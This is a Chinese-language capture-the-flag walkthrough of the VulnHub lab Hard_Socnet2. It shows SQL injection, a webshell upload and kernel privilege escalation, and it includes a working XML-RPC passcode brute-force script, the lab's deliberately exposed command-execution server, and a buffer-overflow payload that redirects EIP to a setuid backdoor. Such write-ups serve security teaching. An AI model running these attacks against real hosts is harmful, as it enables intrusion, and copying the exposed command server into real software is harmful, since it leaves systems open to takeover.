VulnHub靶场 Hard_Socnet2

VulnHub靶场 Hard_Socnet2


主机发现#

先进行主机发现

发现目标主机为 192.168.10.225,对其进行端口服务搜集

目标主机开放 808000 端口,运行 HTTP 服务。

80 端口页面如下,是一个登录界面

8000 端口页面如下,提示 GET 请求不可用。

Webshell 上传#

在 80 的登录界面,发现可以注册,我们注册一个账户登录进去

成功注册后跳转到如下界面

检查其功能,发现其 Feed 的 URL 似乎存在 SQL 注入

对其进行 SQL 注入测试,成功

读取目标数据库信息,得到用户信息

尝试登录 admin 用户。登录成功后,即可操作该用户的 Feed 信息

存在上传功能点,尝试上传木马。成功上传并连接蚁剑

CVE-2021-3493 提权#

查看当前用户权限

查看目标系统信息

目标是一个 Ubuntu 18.04.1 LTS,该版本存在 CVE-2021-3493 漏洞,我们尝试利用

利用失败,似乎蚁剑这个 shell 存在问题,我们拿 nc 反弹试试

在 nc 中尝试提权

成功。我们在这个基础上,尝试创建一个 nc 会话

这就拿到 root 的会话了。

XMLRPC 命令执行#

我们上面是用系统漏洞去提权,我们换一种方法。在 home 下发现一个 socnet 用户,该用户目录下存在一个 monitor.py,代码如下

PYTHON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# 导入必要的库
import SimpleXMLRPCServer  # 导入用于创建 XML-RPC 服务器的库
import subprocess  # 导入用于执行系统命令的库
import random  # 导入用于生成随机数的库

# 生成一个随机的调试密码,范围从 1000 到 9999
debugging_pass = random.randint(1000,9999)

# 定义一个执行命令的函数
def runcmd(cmd):
    # 使用 subprocess.Popen 来执行传入的命令
    # shell=True 使得命令通过 shell 执行,stdin、stdout、stderr 分别是标准输入、输出和错误流
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

    # 读取命令的输出,包括标准输出和错误输出
    output = results.stdout.read() + results.stderr.read()

    # 返回命令执行的输出
    return output

# 定义一个获取 CPU 信息的函数
def cpu():
    # 执行 "cat /proc/cpuinfo" 命令,获取 CPU 信息
    return runcmd("cat /proc/cpuinfo")

# 定义一个获取内存信息的函数
def mem():
    # 执行 "free -m" 命令,获取内存的使用情况(以 MB 为单位)
    return runcmd("free -m")

# 定义一个获取磁盘信息的函数
def disk():
    # 执行 "df -h" 命令,获取磁盘的使用情况
    return runcmd("df -h")

# 定义一个获取网络接口信息的函数
def net():
    # 执行 "ip a" 命令,获取网络接口的信息
    return runcmd("ip a")

# 定义一个安全的命令执行函数,只有提供正确的密码才能执行命令
def secure_cmd(cmd, passcode):
    # 检查提供的密码是否与随机生成的调试密码相匹配
    if passcode == debugging_pass:
        # 如果密码正确,则执行命令并返回执行结果
        return runcmd(cmd)
    else:
        # 如果密码错误,返回错误信息
        return "Wrong passcode."

# 创建一个 XML-RPC 服务器,监听所有网络接口上的 8000 端口
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))

# 注册提供的函数,让客户端可以通过 XML-RPC 调用它们
# 注册获取 CPU 信息的函数
server.register_function(cpu)
# 注册获取内存信息的函数
server.register_function(mem)
# 注册获取磁盘信息的函数
server.register_function(disk)
# 注册获取网络信息的函数
server.register_function(net)
# 注册安全命令执行的函数
server.register_function(secure_cmd)

# 启动服务器,开始监听并处理来自客户端的请求
server.serve_forever()

这个文件是一个 XML-RPC 服务器,而且其中有一个 secure_cmd 函数,在知道密码的情况下可以执行任意命令。密码是从 1000 到 9999 的随机数。

该文件的权限是 socnet

并且它现在正在运行

我们先简单连接一下

PYTHON
1
2
3
4
5
6
7
8
9
10
import xmlrpc.client

server = xmlrpc.client.ServerProxy("http://192.168.10.225:8000/")

passcode = 1234
command = "ls -la"

result = server.secure_cmd(command, passcode)

print("命令输出:\n", result)

输出 Wrong passcode.,由于密码是从 1000 到 9999 的随机数,所以我们可以直接爆破

PYTHON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import xmlrpc.client

server = xmlrpc.client.ServerProxy("http://192.168.10.225:8000/")

code = "0"

for i in range(1000, 10000):

    passcode = i
    command = "ls -la"

    result = server.secure_cmd(command, passcode)
    if 'Wrong' not in result:
        print(f"密码为: {passcode}")
        break

得到密码为 4416,成功执行命令

我们用这种方式反弹一个 nc 出来。

成功拿到 socnet 用户的 shell

缓冲区溢出漏洞#

注意到目录下有个叫 add_record 的可执行文件,有 root 权限

我们尝试运行一下它

它会让我们输入内容,然后内容会输出到文件内。我们使用 gdb 进行调试,在 Explain 中发现溢出

可以看到,在堆栈中出现的了大量的 a。这是因为参数没有做很好的处理,导致这个 a 溢出了

而且还能注意到,EIP 寄存器也被覆盖了。

EIP 寄存器是 CPU 接下来要运行的下一条指令。现在就看这么多 a 中,哪几个 a 是覆盖到 EIP 的。我们可以利用 gdb 去生成特征字符来查看

PLAINTEXT
1
parttern create 100

这样就会生成 100 个特征字符

我们拿这个字符串进行测试,得到如下结果

这个 AHAA 具体在哪,我们可以 search 一下

可以看到偏移量是 62,也就是说第 63 个字符就会进入 EIP 寄存器里。这样的话我们重新构建一下 payload

我们测试这个 payload,得到如下结果

现在 “HHHH” 就是进入 EIP 的位置了,那这个咋用呢,我们去查看汇编源码

翻的时候,发现存在一个 vuln 函数,而是是自建函数

这不就明摆着有问题嘛,我们看一下整体函数

发现程序调用了 systemsetuid 这两个函数。system 函数是用来执行一些系统命令;setuid 函数是用于去申请 suid 权限。在下面还有一个 backdoor

我们先去查看 vuln 函数

vuln 调用了一个 strcpy 函数,经过搜索,发现这个 strcpy 函数存在缓冲区溢出漏洞。接着再来看看 backdoor 函数

这个函数调用了 setuidsystem,不过它执行了什么呢?我们现在已知主程序中的 vuln 函数存在缓冲区溢出漏洞,那么我们可以通过它去运行这个 backdoor 函数,把 backdoor 函数的起始位置写进 EIP 里,这样 CPU 接下来就会去执行 baskdoor 函数。而该函数的起始位置是 0x08048676

PYTHON
1
2
3
4
5
6
import struct
import sys

data = b'A' * 62 + struct.pack('I', 0x08048676) # CPU是小端存储

sys.stdout.buffer.write(data)

这样就会得到一个原始 payload 数据

结果测试失败了,感觉可能是输出的时候会有编码问题,那么我们可以尝试把要输出的信息输出到一个文件里,然后直接文件传参数。

然后我们执行程序

可以看到,这里产生了一个新的进程,先执行 /bin/dash ,然后又创建了一个进程去执行 /bin/bash。我们 break 一下 vuln 函数看看

可以看到,这里到了 backdoorsetuid 函数了

然后在 system 函数执行了 /bin/bash。那现在就可以直接拿这个 payload 用了

然后在这个状态下,反弹个 nc